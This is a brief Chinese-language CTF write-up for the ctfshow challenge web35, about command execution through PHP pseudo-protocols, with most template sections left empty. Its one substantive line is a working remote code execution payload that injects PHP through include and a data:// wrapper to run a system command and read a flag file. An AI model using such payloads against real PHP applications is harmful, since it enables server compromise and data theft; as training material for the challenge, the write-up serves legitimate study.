ctfshow web35

• 题号：web35
• 难度：⭐
• 考点：命令执行配合伪协议
• 日期：2026-9-1

题目描述

解题思路

1.还是和Web34一样的操作

Payload / 关键操作

1.?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php') ?>

复现截图

对应课程章节

RCE命令执行

踩坑记录 / 复盘

无